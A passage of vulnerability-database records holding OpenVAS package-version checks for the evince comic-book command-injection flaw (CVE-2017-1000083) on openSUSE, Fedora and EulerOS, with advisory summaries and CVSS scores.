if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-psdocument-debuginfo\", rpm:\"evince-plugin-psdocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-tiffdocument\", rpm:\"evince-plugin-tiffdocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-tiffdocument-debuginfo\", rpm:\"evince-plugin-tiffdocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-xpsdocument\", rpm:\"evince-plugin-xpsdocument~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-xpsdocument-debuginfo\", rpm:\"evince-plugin-xpsdocument-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevdocument3-4\", rpm:\"libevdocument3-4~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevdocument3-4-debuginfo\", rpm:\"libevdocument3-4-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevview3-3\", rpm:\"libevview3-3~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevview3-3-debuginfo\", rpm:\"libevview3-3-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"nautilus-evince\", rpm:\"nautilus-evince~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"nautilus-evince-debuginfo\", rpm:\"nautilus-evince-debuginfo~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-EvinceDocument-3_0\", rpm:\"typelib-1_0-EvinceDocument-3_0~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-EvinceView-3_0\", rpm:\"typelib-1_0-EvinceView-3_0~3.20.2~2.6.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"openSUSELeap42.3\") {\n if(!isnull(res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-browser-plugin\", rpm:\"evince-browser-plugin~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-browser-plugin-debuginfo\", rpm:\"evince-browser-plugin-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-debuginfo\", rpm:\"evince-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-debugsource\", rpm:\"evince-debugsource~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-devel\", rpm:\"evince-devel~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-comicsdocument\", rpm:\"evince-plugin-comicsdocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-comicsdocument-debuginfo\", rpm:\"evince-plugin-comicsdocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-djvudocument\", rpm:\"evince-plugin-djvudocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-djvudocument-debuginfo\", rpm:\"evince-plugin-djvudocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-dvidocument\", rpm:\"evince-plugin-dvidocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-dvidocument-debuginfo\", rpm:\"evince-plugin-dvidocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-pdfdocument\", rpm:\"evince-plugin-pdfdocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-pdfdocument-debuginfo\", rpm:\"evince-plugin-pdfdocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-psdocument\", rpm:\"evince-plugin-psdocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-psdocument-debuginfo\", rpm:\"evince-plugin-psdocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-tiffdocument\", rpm:\"evince-plugin-tiffdocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-tiffdocument-debuginfo\", rpm:\"evince-plugin-tiffdocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-xpsdocument\", rpm:\"evince-plugin-xpsdocument~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-xpsdocument-debuginfo\", rpm:\"evince-plugin-xpsdocument-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevdocument3-4\", rpm:\"libevdocument3-4~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevdocument3-4-debuginfo\", rpm:\"libevdocument3-4-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevview3-3\", rpm:\"libevview3-3~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevview3-3-debuginfo\", rpm:\"libevview3-3-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"nautilus-evince\", rpm:\"nautilus-evince~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"nautilus-evince-debuginfo\", rpm:\"nautilus-evince-debuginfo~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-EvinceDocument-3_0\", rpm:\"typelib-1_0-EvinceDocument-3_0~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-EvinceView-3_0\", rpm:\"typelib-1_0-EvinceView-3_0~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-lang\", rpm:\"evince-lang~3.20.2~6.1\", rls:\"openSUSELeap42.3\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:59", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2017-07-16T00:00:00", "id": "OPENVAS:1361412562310872880", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310872880", "type": "openvas", "title": "Fedora Update for evince FEDORA-2017-cdead07e99", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2017_cdead07e99_evince_fc25.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for evince FEDORA-2017-cdead07e99\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.872880\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-07-16 07:37:45 +0200 (Sun, 16 Jul 2017)\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for evince FEDORA-2017-cdead07e99\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'evince'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"evince on Fedora 25\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2017-cdead07e99\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/G4WSKTQJ3MCJF2L6NXWCTKNN4KFXZ7MJ\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC25\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC25\")\n{\n\n if ((res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.22.1~5.fc25\", rls:\"FC25\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-27T18:40:14", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220171222", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220171222", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for evince (EulerOS-SA-2017-1222)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2017.1222\");\n script_version(\"2020-01-23T10:59:45+0000\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 10:59:45 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 10:59:45 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for evince (EulerOS-SA-2017-1222)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP2\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2017-1222\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2017-1222\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'evince' package(s) announced via the EulerOS-SA-2017-1222 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that evince did not properly sanitize the command line which is run to untar Comic Book Tar (CBT) files, thereby allowing command injection. A specially crafted CBT file, when opened by evince or evince-thumbnailer, could execute arbitrary commands in the context of the evince program. (CVE-2017-1000083)\");\n\n script_tag(name:\"affected\", value:\"'evince' package(s) on Huawei EulerOS V2.0SP2.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP2\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.14.2~5.h1\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-dvi\", rpm:\"evince-dvi~3.14.2~5.h1\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-libs\", rpm:\"evince-libs~3.14.2~5.h1\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-nautilus\", rpm:\"evince-nautilus~3.14.2~5.h1\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-31T18:28:15", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2017-07-25T00:00:00", "id": "OPENVAS:1361412562310851583", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851583", "type": "openvas", "title": "openSUSE: Security Advisory for evince (openSUSE-SU-2017:1933-1)", "sourceData": "# Copyright (C) 2017 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.851583\");\n script_version(\"2020-01-31T08:23:39+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:23:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2017-07-25 07:25:09 +0200 (Tue, 25 Jul 2017)\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"openSUSE: Security Advisory for evince (openSUSE-SU-2017:1933-1)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'evince'\n package(s) announced via the referenced advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for evince fixes the following issues:\n\n - CVE-2017-1000083: Remote attackers could have used the comicbook mode of\n evince to inject shell code. (bsc#1046856, bgo#784630)\n\n This update was imported from the SUSE:SLE-12-SP2:Update update project.\");\n\n script_tag(name:\"affected\", value:\"evince on openSUSE Leap 42.2\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2017:1933-1\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap42\\.2\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap42.2\") {\n if(!isnull(res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-browser-plugin\", rpm:\"evince-browser-plugin~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-browser-plugin-debuginfo\", rpm:\"evince-browser-plugin-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-debuginfo\", rpm:\"evince-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-debugsource\", rpm:\"evince-debugsource~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-devel\", rpm:\"evince-devel~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-comicsdocument\", rpm:\"evince-plugin-comicsdocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-comicsdocument-debuginfo\", rpm:\"evince-plugin-comicsdocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-djvudocument\", rpm:\"evince-plugin-djvudocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-djvudocument-debuginfo\", rpm:\"evince-plugin-djvudocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-dvidocument\", rpm:\"evince-plugin-dvidocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-dvidocument-debuginfo\", rpm:\"evince-plugin-dvidocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-pdfdocument\", rpm:\"evince-plugin-pdfdocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-pdfdocument-debuginfo\", rpm:\"evince-plugin-pdfdocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-psdocument\", rpm:\"evince-plugin-psdocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-psdocument-debuginfo\", rpm:\"evince-plugin-psdocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-tiffdocument\", rpm:\"evince-plugin-tiffdocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-tiffdocument-debuginfo\", rpm:\"evince-plugin-tiffdocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-xpsdocument\", rpm:\"evince-plugin-xpsdocument~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-plugin-xpsdocument-debuginfo\", rpm:\"evince-plugin-xpsdocument-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevdocument3-4\", rpm:\"libevdocument3-4~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevdocument3-4-debuginfo\", rpm:\"libevdocument3-4-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevview3-3\", rpm:\"libevview3-3~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libevview3-3-debuginfo\", rpm:\"libevview3-3-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"nautilus-evince\", rpm:\"nautilus-evince~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"nautilus-evince-debuginfo\", rpm:\"nautilus-evince-debuginfo~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-EvinceDocument-3_0\", rpm:\"typelib-1_0-EvinceDocument-3_0~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"typelib-1_0-EvinceView-3_0\", rpm:\"typelib-1_0-EvinceView-3_0~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"evince-lang\", rpm:\"evince-lang~3.20.1~2.3.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:34:29", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2017-08-04T00:00:00", "id": "OPENVAS:1361412562310873018", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310873018", "type": "openvas", "title": "Fedora Update for evince FEDORA-2017-0f75ee2f38", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2017_0f75ee2f38_evince_fc26.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for evince FEDORA-2017-0f75ee2f38\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.873018\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-08-04 12:47:39 +0530 (Fri, 04 Aug 2017)\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for evince FEDORA-2017-0f75ee2f38\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'evince'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"evince on Fedora 26\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2017-0f75ee2f38\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZOE2UVLVDFNWJVMFZ65V2ZWCLYHH5QPX\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC26\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC26\")\n{\n\n if ((res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.24.0~3.fc26\", rls:\"FC26\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:34:09", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the ", "modified": "2018-11-23T00:00:00", "published": "2017-08-04T00:00:00", "id": "OPENVAS:1361412562310871868", "href": 